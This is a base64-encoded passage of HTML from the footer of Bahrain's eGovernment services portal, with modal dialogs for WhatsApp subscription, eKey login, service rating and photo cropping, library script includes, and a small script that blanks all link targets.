lsZSBtaW5pbWl6ZU1vZGFsIiBpZD0iZ2VuZXJhbC1tb2RlbC1idXR0b24tYm90dG9tLWNsb3NlIiB0eXBlPSJidXR0b24iIGRhdGEtZGlzbWlzcz0ibW9kYWwiIGFyaWEtaGlkZGVuPSJ0cnVlIj5DbG9zZTwvYnV0dG9uPgoJCTwvZGl2PgoJPC9kaXY+CjwvZGl2Pgo8IS0tIEVuZCAtIEdlbmVyYWwgUG9wdXAgLS0+Cgo8ZGl2IGlkPSJ3aGF0c3VwTW9kZWwiIHN0eWxlPSJkaXNwbGF5OiBub25lOyIgY2xhc3M9InJvdy1mbHVpZCI+Cgk8ZGl2IGNsYXNzPSJtb2RhbC1iYWNrZHJvcCBpbiIgZGF0YS1iYWNrZHJvcD0ic3RhdGljIiBkYXRhLWtleWJvYXJkPSJmYWxzZSI+Cgk8L2Rpdj4KCTxkaXYgY2xhc3M9Im1vZGFsIGZhZGUgaW4iIHRhYmluZGV4PSItMSIgcm9sZT0iZGlhbG9nIiBhcmlhLWxhYmVsbGVkYnk9IndoYXRzYXBwc3Vic2NyaXB0aW9uIiBhcmlhLWhpZGRlbj0iZmFsc2UiPgoJCTxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciI+CgkJCTxoNCBpZD0id2hhdHNhcHBzdWJzY3JpcHRpb24iIHN0eWxlPSJjb2xvcjojMTI1OWZmOyI+CgkJCQlTdWJzY3JpYmUgd2l0aCB1cwoJCQk8L2g0PgoJCTwvZGl2PgoJCTxkaXYgY2xhc3M9Im1vZGFsLWJvZHkiPgoJCQk8cD4KCQkJCVN1YnNjcmliZSB3aXRoIHVzIHRvIHJlY2VpdmUgdGhlIGxhdGVzdCB1cGRhdGVzIGFuZCBhd2FyZW5lc3MgcHJvbW90aW9ucyBvbiBhbGwgZXNlcnZpY2VzICZhbXA7IGNoYW5uZWxzIHZpYSB0aGUgZUdvdmVybm1lbnQgV2hhdHNBcHAgc2VydmljZS4gVG8gc3Vic2NyaWJlIHNlbmQgInN1YnNjcmliZSIgdG8gdGhlIG51bWJlciAzMjE4ODI4OC4KCQkJPC9wPgoJCQk8YnI+CQoJCQk8cD4KCQkJCVRvIHVuc3Vic2NyaWJlIHNlbmQgInVuc3Vic2NyaWJlIi4KCQkJPC9wPgoJCTwvZGl2PgoJCTxkaXYgY2xhc3M9Im1vZGFsLWZvb3RlciIgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyIj4KCQkJPGEgc3R5bGU9ImRpc3BsYXk6IG5vbmU7IiBpZD0id2hhdHN1cC1tb2RlbC1zdWJzY3JpYmUtbGluayIgY2xhc3M9ImJ1dHRvbl9zdHlsZSIgaHJlZj0iaHR0cHM6Ly9hcGkud2hhdHNhcHAuY29tL3NlbmQ/cGhvbmU9OTczMzIxODgyODgmYW1wO3RleHQ9U3Vic2NyaWJlIj4KCQkJCVN1YnNjcmliZQoJCQk8L2E+CgkJCTxhIHN0eWxlPSJkaXNwbGF5OiBpbmxpbmUtYmxvY2s7IiBpZD0id2hhdHN1cC1tb2RlbC1jbG9zZS1saW5rIiBjbGFzcz0iYnV0dG9uX3N0eWxlIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7Ij4KCQkJCUNsb3NlCgkJCTwvYT4JCQkKCQk8L2Rpdj4KCTwvZGl2Pgo8L2Rpdj4gCjxkaXYgaWQ9ImVrZXlNb2RlbCIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7IiBjbGFzcz0icm93LWZsdWlkIj4KCTxkaXYgY2xhc3M9Im1vZGFsLWJhY2tkcm9wIGluIiBkYXRhLWJhY2tkcm9wPSJzdGF0aWMiIGRhdGEta2V5Ym9hcmQ9ImZhbHNlIj4KCTwvZGl2PgoJPGRpdiBjbGFzcz0ibW9kYWwgZmFkZSBpbiIgdGFiaW5kZXg9Ii0xIiByb2xlPSJkaWFsb2ciIGFyaWEtbGFiZWxsZWRieT0iZUtleVBvcHVwTW9kZWwiIGFyaWEtaGlkZGVuPSJmYWxzZSIgc3R5bGU9Ii8qbGVmdDogNDYlOyovIj4KCQk8ZGl2IGNsYXNzPSJtb2RhbC1ib2R5IiBzdHlsZT0ibWF4LWhlaWdodDo0NTBweCI+CgkJCTxkaXYgY2xhc3M9InJvdy1mbHVpZCI+CgkJCQk8ZGl2IGNsYXNzPSJzcGFuMTIiPgoJCQkJCTxkaXYgY2xhc3M9ImxvZ2luX2NvbnRhaW5lciBhbGlnbi1jZW50ZXIiPgoJCQkJCQk8ZGl2IGNsYXNzPSJtYWluLWhlYWRpbmdzIHVzZXJfaWNvbiBtYXItYnRtLTIwIj4mbmJzcDs8L2Rpdj4KCQkJCQkJPHAgaWQ9ImVLZXlQb3B1cE1vZGVsIj5Zb3VyIFNpbmdsZSBTaWduIE9uIHRvIGVTZXJ2aWNlczwvcD4KCQkJCQkJCgkJCQkKCQkJCQkJPGRpdiBjbGFzcz0ibWFyLXRvcC0yNSI+CgkJCQkJCQk8c3BhbiBjbGFzcz0iaWNvbl9zcGFjZSI+CgkJCQkJCQk8aW1nIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgYWx0PSJ1c2VybmFtZSIgc3JjPSJodHRwczovL3NlcnZpY2VzLmJhaHJhaW4uYmgvd3BzL2NvbnRlbnRoYW5kbGVyLyF1dC9wL2RpZ2VzdCFWakJ1ZVFjRGc5WnRFUnVjMXY0LXp3L2Rhdi9mcy10eXBlMS90aGVtZXMvUG9ydGFsUGx1c1NlcnZpY2VzL2ltYWdlcy91c2VybmFtZV9pY29uLnN2ZyI+CgkJCQkJCQk8L3NwYW4+CgkJCQkJCQk8bGFiZWwgc3R5bGU9ImRpc3BsYXk6bm9uZTsiIGZvcj0iZWtleUxvZ2luSWROdW1iZXIiPklEIE51bWJlcjwvbGFiZWw+CgkJCQkJCQk8aW5wdXQgaWQ9ImVrZXlMb2dpbklkTnVtYmVyIiBuYW1lPSJpZCBudW1iZXIiIHR5cGU9InRlbCIgbWF4bGVuZ3RoPSIxNSIgdGl0bGU9IklEIE51bWJlciIgY2xhc3M9InBlcnNvbmFsTnVtYmVyU2lnSW4gY3VzdG9tUGFzc3dvcmRJbnB1dCBudW1iZXJPbmx5ViIgYXV0b2NvbXBsZXRlPSJvZmYiIHBsYWNlaG9sZGVyPSJJRCBOdW1iZXIiPgkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCgkJCQkJCQk8YnI+CgkJCQkJCQk8c3BhbiBjbGFzcz0iaWNvbl9zcGFjZSI+CgkJCQkJCQk8aW1nIHdpZHRoPSIxNiIgaGVpZ2h0PSIxOCIgYWx0PSJwYXNzd29yZCIgc3JjPSJodHRwczovL3NlcnZpY2VzLmJhaHJhaW4uYmgvd3BzL2NvbnRlbnRoYW5kbGVyLyF1dC9wL2RpZ2VzdCFWakJ1ZVFjRGc5WnRFUnVjMXY0LXp3L2Rhdi9mcy10eXBlMS90aGVtZXMvUG9ydGFsUGx1c1NlcnZpY2VzL2ltYWdlcy9wYXNzd29yZF9pY29uLnN2ZyI+CgkJCQkJCQk8L3NwYW4+CgkJCQkJCQk8bGFiZWwgc3R5bGU9ImRpc3BsYXk6bm9uZTsiIGZvcj0iZWtleUxvZ2luUGFzc3dvcmQiPlBhc3N3b3JkPC9sYWJlbD4KCQkJCQkJCTxpbnB1dCB0eXBlPSJwYXNzd29yZCIgaWQ9ImVrZXlMb2dpblBhc3N3b3JkIiBuYW1lPSJQYXNzd29yZCB0aXRsZT0iIGVudGVyPSIiIHBhc3N3b3JkIj0iIiBjbGFzcz0icGFzc3dvcmRTaWduSW4gY3VzdG9tUGFzc3dvcmRJbnB1dCIgYXV0b2NvbXBsZXRlPSJvZmYiIHBsYWNlaG9sZGVyPSJQYXNzd29yZCI+CgkJCQkJCQk8ZGl2IGNsYXNzPSJlcnJvci1ibG9jayIgc3R5bGU9ImZsb2F0Om5vbmU7Ij4KCQkJCQkJCQk8c3BhbiBpZD0iZWtleUxvZ2luRXJyb3JNZXNzYWdlIj48L3NwYW4+CgkJCQkJCQk8L2Rpdj4KCQkJCQkJCTxicj4KCQkJCQkJPC9kaXY+CgkJCQkJCTxkaXYgY2xhc3M9ImxpbmtfY29udGFpbmVyIj4KCQkJCQkJPCEtLSBGb3JnZXQgUGFzc3dvcmQgLS0+CgkJCQkJCQk8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iL3dwcy9wb3J0YWwvRm9yZ290UGFzc3dvcmRfZW4iPgoJCQkJCQkJCUZvcmdvdCBQYXNzd29yZD8KCQkJCQkJCTwvYT4KCQkJCQkJCTwhLS0gUmVnaXN0ZXIgb3IgU2lnblVwIGZvciBuZXcgYWNjb3VudCAtLT4KCQkJCQkJCTxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSIvd3BzL3BvcnRhbC9TaWduVXBfZW4iPgoJCQkJCQkJCURvbid0IGhhdmUgYW4gYWNjb3VudD8gUmVnaXN0ZXIgbm93ICEKCQkJCQkJCTwvYT4JCQkJCQkJCgkJCQkJCQoJCQkJCQk8L2Rpdj4JCQkJCQkKCQkJCQkJPGRpdiBjbGFzcz0iYnV0dG9uX2NvbnRhaW5lciI+CgkJCQkJCQk8aW5wdXQgb25jbGljaz0icmV0dXJuIHh0X2NsaWNrKHRoaXMsJ0MnLCdsZXZlbDJfbnVtYmVyJywnUG9ydGFsIEF1dGhlbnRpY2F0aW9uIOKAkyBDbGljayDigJMgTG9naW5uJywnTicpOyIgaWQ9ImVrZXlsb2dpblN1Ym1pdCIgbmFtZT0iTG9naW4iIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkxvZ2luIiBjbGFzcz0iYnV0dG9uX3N0eWxlIHN1Ym1pdFNpZ25JbiI+CgkJCQkJCQk8YnV0dG9uIGlkPSJla2V5TG9naW5DYW5jZWwiIGNsYXNzPSJidXR0b25fc3R5bGUiPkNhbmNlbDwvYnV0dG9uPgkJCQkJCQkKCQkJCQkJPC9kaXY+CgkJCQkJPC9kaXY+CgkJCQk8L2Rpdj4KCQkJPC9kaXY+CgkJPC9kaXY+Cgk8L2Rpdj4KPC9kaXY+Cgo8ZGl2IGlkPSJyYXRpbmdNb2RlbCIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7IiBjbGFzcz0icm93LWZsdWlkIj4KCTxkaXYgY2xhc3M9Im1vZGFsLWJhY2tkcm9wIGluIiBkYXRhLWJhY2tkcm9wPSJzdGF0aWMiIGRhdGEta2V5Ym9hcmQ9ImZhbHNlIj4KCTwvZGl2PgoJPGRpdiBjbGFzcz0ibW9kYWwgZmFkZSBpbiIgdGFiaW5kZXg9Ii0xIiByb2xlPSJkaWFsb2ciIGFyaWEtbGFiZWxsZWRieT0icmF0aW5nUG9wdXBNb2RhbCIgYXJpYS1oaWRkZW49ImZhbHNlIj4KCQk8ZGl2IGNsYXNzPSJtb2RhbC1oZWFkZXIiPgoJCQk8YSBjbGFzcz0ibWluaW1pemVNb2RhbCI+CgkJCQk8aSBjbGFzcz0ibWF0ZXJpYWwtaWNvbnMiPgoJCQkJCW1pbmltaXplCgkJCQk8L2k+CgkJCTwvYT4KCQkJPGg0IGlkPSJyYXRpbmdQb3B1cE1vZGFsIiBzdHlsZT0iY29sb3I6IzEyNTlmZjsiPlJhdGUgdGhpcyBzZXJ2aWNlPC9oND4JCQoJCTwvZGl2PgkKCQk8ZGl2IGNsYXNzPSJtb2RhbC1ib2R5Ij4KCQkJPGRpdiBjbGFzcz0icm93LWZsdWlkIj4KCQkJCTxkaXYgY2xhc3M9InNwYW4xMiI+CgkJCQkJPGRpdiBjbGFzcz0icmF0aW5nX2NvbnRhaW5lciBhbGlnbi1jZW50ZXIiPgoJCQkJCQoJCQkJCQk8aSBjbGFzcz0ibWF0ZXJpYWwtaWNvbnMiIHN0eWxlPSJmb250LXNpemU6IDcwcHg7ZGlzcGxheTogbm9uZTsiPmNoZWNrX2NpcmNsZV9vdXRsaW5lPC9pPgoJCQkJCQoJCQkJCQk8cD5Ib3cgc2F0aXNmaWVkIGFyZSB5b3Ugd2l0aCB0aGlzIHNlcnZpY2U/PC9wPgoJCQkJCQkKCQkJCQkJPGRpdiBjbGFzcz0icm93LWZsdWlkIG10LTMiPgoJCQkJCQkJPHVsIGlkPSJzZXJ2aWNlUmF0aW5nRmFjZXMiPgoJCQkJCQkJCTxsaT4KCQkJCQkJCQkJPGltZyBjbGFzcz0iUmF0aW5nSW1nIiBpZD0iSW1nU21pbGV5IiBzdHlsZT0iY3Vyc29yOiBwb2ludGVyOyIgYWx0PSJTYXRpc2ZpZWQiIHRpdGxlPSJTYXRpc2ZpZWQiIHNyYz0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9jb250ZW50aGFuZGxlci8hdXQvcC9kaWdlc3QhVmpCdWVRY0RnOVp0RVJ1YzF2NC16dy9kYXYvZnMtdHlwZTEvdGhlbWVzL1BvcnRhbFBsdXNTZXJ2aWNlcy9pbWFnZXMvc21pbGV5X2ZhY2UucG5nIj4KCQkJCQkJCQk8L2xpPgoJCQkJCQkJCTxsaT4KCQkJCQkJCQkJPGltZyBjbGFzcz0iUmF0aW5nSW1nIiBpZD0iSW1nTm9ybWFsIiBzdHlsZT0iY3Vyc29yOiBwb2ludGVyOyIgYWx0PSJOZXV0cmFsIiB0aXRsZT0iTmV1dHJhbCIgc3JjPSJodHRwczovL3NlcnZpY2VzLmJhaHJhaW4uYmgvd3BzL2NvbnRlbnRoYW5kbGVyLyF1dC9wL2RpZ2VzdCFWakJ1ZVFjRGc5WnRFUnVjMXY0LXp3L2Rhdi9mcy10eXBlMS90aGVtZXMvUG9ydGFsUGx1c1NlcnZpY2VzL2ltYWdlcy9ub3JtYWxfZmFjZS5wbmciPgoJCQkJCQkJCTwvbGk+CgkJCQkJCQkJPGxpPgoJCQkJCQkJCQk8aW1nIGNsYXNzPSJSYXRpbmdJbWciIGlkPSJJbWdBbmdyeSIgc3R5bGU9ImN1cnNvcjogcG9pbnRlcjsiIGFsdD0iRGlzc2F0aXNmaWVkIiB0aXRsZT0iRGlzc2F0aXNmaWVkIiBzcmM9Imh0dHBzOi8vc2VydmljZXMuYmFocmFpbi5iaC93cHMvY29udGVudGhhbmRsZXIvIXV0L3AvZGlnZXN0IVZqQnVlUWNEZzladEVSdWMxdjQtencvZGF2L2ZzLXR5cGUxL3RoZW1lcy9Qb3J0YWxQbHVzU2VydmljZXMvaW1hZ2VzL2FuZ3J5X2ZhY2UucG5nIj4KCQkJCQkJCQk8L2xpPgoJCQkJCQkJPC91bD4KCQkJCQkJPC9kaXY+CgkJCQkJCTxwIGlkPSJyYXRpbmdNZXNzYWdlIiBzdHlsZT0iY29sb3I6ICNjODAwMDk7cGFkZGluZyA6NXB4Ij48L3A+CgkJCQkJCTxkaXYgaWQ9InJhdGluZ0Zvcm0iIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+CgkJCQkJCQk8ZGl2IGNsYXNzPSJyb3ctZmx1aWQgbXQtMiI+CgkJCQkJCQkJPGRpdiBjbGFzcz0ic3BhbjEyIGZvcm0tcm93IiBpZD0icmF0aW5nSW5wdXRDb21tZW50Ij4KCQkJCQkJCQkJPGRpdiBjbGFzcz0iZm9ybS1jb2wxIj4KCQkJCQkJCQkJCTxsYWJlbCBmb3I9ImZlZWRiYWNrVGV4dEFyZWEiPjxlbT4qPC9lbT5Db21tZW50PC9sYWJlbD4KCQkJCQkJCQkJPC9kaXY+CgkJCQkJCQkJCTxkaXYgY2xhc3M9ImZvcm0tY29sMiI+CgkJCQkJCQkJCQk8ZGl2IGNsYXNzPSJmb3JtLWNvbnRyb2wtYmxvY2sgYmxvY2stZnVsbCI+CgkJCQkJCQkJCQkJPHRleHRhcmVhIGlkPSJmZWVkYmFja1RleHRBcmVhIiBtYXhsZW5ndGg9IjIwMCIgb25rZXl1cD0idGV4dGFyZWFDb3VudGVyKHRoaXMsMjAwKTsiPjwvdGV4dGFyZWE+ICAKCQkJCQkJCQkJCQk8YnI+CgkJCQkJCQkJCQkJICA8ZGl2IGNsYXNzPSJ0ZXh0Q291bnRlciI+CgkJCQkJCQkJCQkJCTxzcGFuPjIwMDwvc3Bhbj4KCQkJCQkJCQkJCQkJPHNwYW4+Y2hhcmFjdGVycyBsZWZ0PC9zcGFuPgoJCQkJCQkJCQkJCSAgPC9kaXY+ICAgICAgICAgIAoJCQkJCQkJCQkJPC9kaXY+CQkJCQkJCQkJCQoJCQkJCQkJCQkJPGRpdiBjbGFzcz0iZXJyb3ItYmxvY2siIHJvbGU9ImFsZXJ0Ij4KCQkJCQkJCQkJCQk8c3Bhbj48L3NwYW4+CgkJCQkJCQkJCQk8L2Rpdj4KCQkJCQkJCQkJPC9kaXY+CgkJCQkJCQkJPC9kaXY+CgkJCQkJCQk8L2Rpdj4KCQkJCQkJCTxkaXYgY2xhc3M9InJvdy1mbHVpZCI+CgkJCQkJCQkJPGRpdiBjbGFzcz0ic3BhbjEyIGZvcm0tcm93IiBpZD0icmF0aW5nSW5wdXRNb2JpbGUiPgoJCQkJCQkJCQk8ZGl2IGNsYXNzPSJmb3JtLWNvbDEiPgoJCQkJCQkJCQkJPGxhYmVsPk1vYmlsZTwvbGFiZWw+CgkJCQkJCQkJCTwvZGl2PgoJCQkJCQkJCQk8ZGl2IGNsYXNzPSJmb3JtLWNvbDIiPgoJCQkJCQkJCQkJPGRpdiBjbGFzcz0iZm9ybS1jb250cm9sLWJsb2NrIGJsb2NrLWZ1bGwiPgoJCQkJCQkJCQkJCTxpbnB1dCB0eXBlPSJ0ZWwiIG1pbmxlbmd0aD0iOCIgdmFsdWU9IiIgdGl0bGU9Ik1vYmlsZSIgYXV0b2NvbXBsZXRlPSJvZmYiPgkgICAgICAgICAgICAgIAoJCQkJCQkJCQkJPC9kaXY+CgkJCQkJCQkJCQk8ZGl2IGNsYXNzPSJlcnJvci1ibG9jayIgcm9sZT0iYWxlcnQiPgoJCQkJCQkJCQkJCTxzcGFuPjwvc3Bhbj4KCQkJCQkJCQkJCTwvZGl2PgoJCQkJCQkJCQk8L2Rpdj4KCQkJCQkJCQk8L2Rpdj4KCQkJCQkJCTwvZGl2PgoJCQkJCQkJPGRpdiBjbGFzcz0icm93LWZsdWlkIj4KCQkJCQkJCQk8ZGl2IGNsYXNzPSJzcGFuMTIgZm9ybS1yb3ciIGlkPSJyYXRpbmdJbnB1dEVtYWlsIj4KCQkJCQkJCQkJPGRpdiBjbGFzcz0iZm9ybS1jb2wxIj4KCQkJCQkJCQkJCTxsYWJlbD5FbWFpbDwvbGFiZWw+CgkJCQkJCQkJCTwvZGl2PgoJCQkJCQkJCQk8ZGl2IGNsYXNzPSJmb3JtLWNvbDIiPgoJCQkJCQkJCQkJPGRpdiBjbGFzcz0iZm9ybS1jb250cm9sLWJsb2NrIGJsb2NrLWZ1bGwiPgoJCQkJCQkJCQkJCTxpbnB1dCB0eXBlPSJlbWFpbCIgdmFsdWU9IiIgdGl0bGU9IkVtYWlsIiBhdXRvY29tcGxldGU9Im9mZiI+CSAgICAgICAgICAgICAgCgkJCQkJCQkJCQk8L2Rpdj4KCQkJCQkJCQkJCTxkaXYgY2xhc3M9ImVycm9yLWJsb2NrIiByb2xlPSJhbGVydCI+CgkJCQkJCQkJCQkJPHNwYW4+PC9zcGFuPgoJCQkJCQkJCQkJPC9kaXY+CgkJCQkJCQkJCTwvZGl2PgoJCQkJCQkJCTwvZGl2PgoJCQkJCQkJPC9kaXY+CgkJCQkJCTwvZGl2PgoJCQkJCQk8ZGl2IGNsYXNzPSJidXR0b25zIG10LTMiIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+CgkJCQkJCQk8YSBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBpZD0icmF0aW5nTW9kZWxDbGVhciIgY2xhc3M9ImJ1dHRvbl9zdHlsZSI+Q2xlYXI8L2E+CQkJCQkJCQkJCQkKCQkJCQkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIGlkPSJyYXRpbmdNb2RlbFN1Ym1pdCIgY2xhc3M9ImJ1dHRvbl9zdHlsZSI+U3VibWl0PC9hPgoJCQkJCQk8L2Rpdj4KCQkJCQk8L2Rpdj4KCQkJCTwvZGl2PgoJCQk8L2Rpdj4KCQk8L2Rpdj4KCTwvZGl2Pgo8L2Rpdj4KCjwhLS0gQ3JvcCBNb2RlbCAtLT4KPGRpdiBpZD0iY3JvcHBlck1vZGVsIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiIGNsYXNzPSJyb3ctZmx1aWQiPgoJPGRpdiBjbGFzcz0ibW9kYWwtYmFja2Ryb3AgaW4iIGRhdGEtYmFja2Ryb3A9InN0YXRpYyIgZGF0YS1rZXlib2FyZD0iZmFsc2UiPgoJPC9kaXY+Cgk8ZGl2IGNsYXNzPSJtb2RhbCBmYWRlIGluIiB0YWJpbmRleD0iLTEiIHJvbGU9ImRpYWxvZyIgYXJpYS1sYWJlbGxlZGJ5PSJjcm9wcGVyUG9wdXBNb2RhbCIgYXJpYS1oaWRkZW49ImZhbHNlIj4KCQk8ZGl2IGNsYXNzPSJtb2RhbC1oZWFkZXIiPgoJCQk8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImNsb3NlIGNyb3BwZXItY2FuY2VsLWFjdGlvbiIgZGF0YS1kaXNtaXNzPSJtb2RhbCIgYXJpYS1oaWRkZW49InRydWUiPsOXPC9idXR0b24+CgkJCTxoNCBpZD0iY3JvcHBlclBvcHVwTW9kYWwiPgoJCQkJQXR0YWNoIFBob3RvCgkJCTwvaDQ+CgkJPC9kaXY+CgkJPGRpdiBjbGFzcz0ibW9kYWwtYm9keSI+CgkJPC9kaXY+Cgk8L2Rpdj4KPC9kaXY+CjwhLS0gQ3JvcCBNb2RlbCAtIEVORCAtLT4KCgo8c2NyaXB0IHNyYz0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9jb250ZW50aGFuZGxlci8hdXQvcC9kaWdlc3QhVmpCdWVRY0RnOVp0RVJ1YzF2NC16dy9kYXYvZnMtdHlwZTEvdGhlbWVzL1BvcnRhbFBsdXNTZXJ2aWNlcy9qcy9qcXVlcnkubW9iaWxlLmN1c3RvbS5taW4uanMiIHR5cGU9InRleHQvamF2YXNjcmlwdCI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSJodHRwczovL3NlcnZpY2VzLmJhaHJhaW4uYmgvd3BzL2NvbnRlbnRoYW5kbGVyLyF1dC9wL2RpZ2VzdCFWakJ1ZVFjRGc5WnRFUnVjMXY0LXp3L2Rhdi9mcy10eXBlMS90aGVtZXMvUG9ydGFsUGx1c1NlcnZpY2VzL2pzL2Jvb3RzdHJhcC5taW4uanMiIHR5cGU9InRleHQvamF2YXNjcmlwdCI+PC9zY3JpcHQ+IAo8c2NyaXB0IHNyYz0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9jb250ZW50aGFuZGxlci8hdXQvcC9kaWdlc3QhVmpCdWVRY0RnOVp0RVJ1YzF2NC16dy9kYXYvZnMtdHlwZTEvdGhlbWVzL1BvcnRhbFBsdXNTZXJ2aWNlcy9qcy9lYXN5UmVzcG9uc2l2ZVRhYnMtc3ZnZWV6eS1zZXJ2aWNlLW1lcmdlZC5qcyIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij48L3NjcmlwdD4KCgoJPHNjcmlwdCBzcmM9Imh0dHBzOi8vc2VydmljZXMuYmFocmFpbi5iaC93cHMvY29udGVudGhhbmRsZXIvIXV0L3AvZGlnZXN0IVZqQnVlUWNEZzladEVSdWMxdjQtencvZGF2L2ZzLXR5cGUxL3RoZW1lcy9Qb3J0YWxQbHVzU2VydmljZXMvanMvYm9vdHN0cmFwLWRhdGVwaWNrZXJfZW4uanMiIHR5cGU9InRleHQvamF2YXNjcmlwdCI+PC9zY3JpcHQ+CgoKPHNjcmlwdCBzcmM9Imh0dHBzOi8vc2VydmljZXMuYmFocmFpbi5iaC93cHMvY29udGVudGhhbmRsZXIvIXV0L3AvZGlnZXN0IVZqQnVlUWNEZzladEVSdWMxdjQtencvZGF2L2ZzLXR5cGUxL3RoZW1lcy9Qb3J0YWxQbHVzU2VydmljZXMvanMvYm9vdHN0cmFwLWRhdGV0aW1lcGlja2VyLmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9jb250ZW50aGFuZGxlci8hdXQvcC9kaWdlc3QhVmpCdWVRY0RnOVp0RVJ1YzF2NC16dy9kYXYvZnMtdHlwZTEvdGhlbWVzL1BvcnRhbFBsdXNTZXJ2aWNlcy9qcy9wcmludGVyLmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9jb250ZW50aGFuZGxlci8hdXQvcC9kaWdlc3QhVmpCdWVRY0RnOVp0RVJ1YzF2NC16dy9kYXYvZnMtdHlwZTEvdGhlbWVzL1BvcnRhbFBsdXNTZXJ2aWNlcy9qcy9qcXVlcnkuZm9ybS5taW4uanMiIHR5cGU9InRleHQvamF2YXNjcmlwdCI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSJodHRwczovL3NlcnZpY2VzLmJhaHJhaW4uYmgvd3BzL2NvbnRlbnRoYW5kbGVyLyF1dC9wL2RpZ2VzdCFWakJ1ZVFjRGc5WnRFUnVjMXY0LXp3L2Rhdi9mcy10eXBlMS90aGVtZXMvUG9ydGFsUGx1c1NlcnZpY2VzL2pzL2pxdWVyeS5tYXNrZWRpbnB1dC5taW4uanMiIHR5cGU9InRleHQvamF2YXNjcmlwdCI+PC9zY3JpcHQ+Cgo8c2NyaXB0IHNyYz0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9jb250ZW50aGFuZGxlci8hdXQvcC9kaWdlc3QhVmpCdWVRY0RnOVp0RVJ1YzF2NC16dy9kYXYvZnMtdHlwZTEvdGhlbWVzL1BvcnRhbFBsdXNTZXJ2aWNlcy9qcy9ib290c3RyYXAtdG9vbHRpcC5qcyIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij48L3NjcmlwdD4gCjxzY3JpcHQgc3JjPSJodHRwczovL3NlcnZpY2VzLmJhaHJhaW4uYmgvd3BzL2NvbnRlbnRoYW5kbGVyLyF1dC9wL2RpZ2VzdCFWakJ1ZVFjRGc5WnRFUnVjMXY0LXp3L2Rhdi9mcy10eXBlMS90aGVtZXMvUG9ydGFsUGx1c1NlcnZpY2VzL2pzL2Jvb3RzdHJhcC1wb3BvdmVyLmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoKCgk8c2NyaXB0IHNyYz0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9jb250ZW50aGFuZGxlci8hdXQvcC9kaWdlc3QhVmpCdWVRY0RnOVp0RVJ1YzF2NC16dy9kYXYvZnMtdHlwZTEvdGhlbWVzL1BvcnRhbFBsdXNTZXJ2aWNlcy9qcy9qcXVlcnktZXUtY29va2llLWxhdy1wb3B1cF9lbi5qcyIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij48L3NjcmlwdD4KCgo8c2NyaXB0IHNyYz0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9jb250ZW50aGFuZGxlci8hdXQvcC9kaWdlc3QhVmpCdWVRY0RnOVp0RVJ1YzF2NC16dy9kYXYvZnMtdHlwZTEvdGhlbWVzL1BvcnRhbFBsdXNTZXJ2aWNlcy9qcy9zZWxlY3QyLmZ1bGwuanMiIHR5cGU9InRleHQvamF2YXNjcmlwdCI+PC9zY3JpcHQ+CgoKCgo8IS0tIEVuZCBvZiBMaXZlQ2hhdCBjb2RlIC0tPjwhLS0gVXNlcndheSBBY2Nlc3NpYmlsaXR5IHdpZGdldCAtLT48IS0tIEVuZCBwYWdlIGZvb3RlciAtLT4KCTwhLS0gVGhpcyBpcyByZXNwb25zaWJsZSBmb3IgYm9vdHN0cmFwcGluZyB0aGUgY29uZmlndXJhdGlvbiBmb3IgdGhlIGphdmFzY3JpcHQgZnJhbWV3b3JrLiAKCQlUaGlzIGlzIGxvY2F0ZWQgaGVyZSBpbnN0ZWFkIG9mIHRoZSBoZWFkIHNlY3Rpb24gdG8gaW1wcm92ZSBjbGllbnQgcGVyZm9ybWFuY2UuIC0tPgoKCTxkaXYgaWQ9ImxheW91dENvbnRhaW5lcnMiIGNsYXNzPSJ3cHRoZW1lTGF5b3V0Q29udGFpbmVycyB3cHRoZW1lTGF5b3V0Q29udGFpbmVyc0hpZGRlbiIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij48L2Rpdj4JCQogICAgPHNjcmlwdD4KICAgIC8vIEdldCBhbGwgYW5jaG9yIHRhZ3MKICAgIHZhciBhbmNob3JUYWdzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImEiKTsKCiAgICAvLyBMb29wIHRocm91Z2ggZWFjaCBhbmNob3IgdGFnIGFuZCBtb2RpZnkgdGhlIGhyZWYgYXR0cmlidXRlCiAgICBmb3IgKHZhciBpID0gMDsgaSA8IGFuY2hvclRhZ3MubGVuZ3RoOyBpKyspIHsKICAgICAgICBhbmNob3JUYWdzW2ldLnNldEF0dHJpYnV0ZSgiaHJlZiIsICIjIik7CiAgICB9CiAgICA8L3NjcmlwdD4KCjwvYm9keT48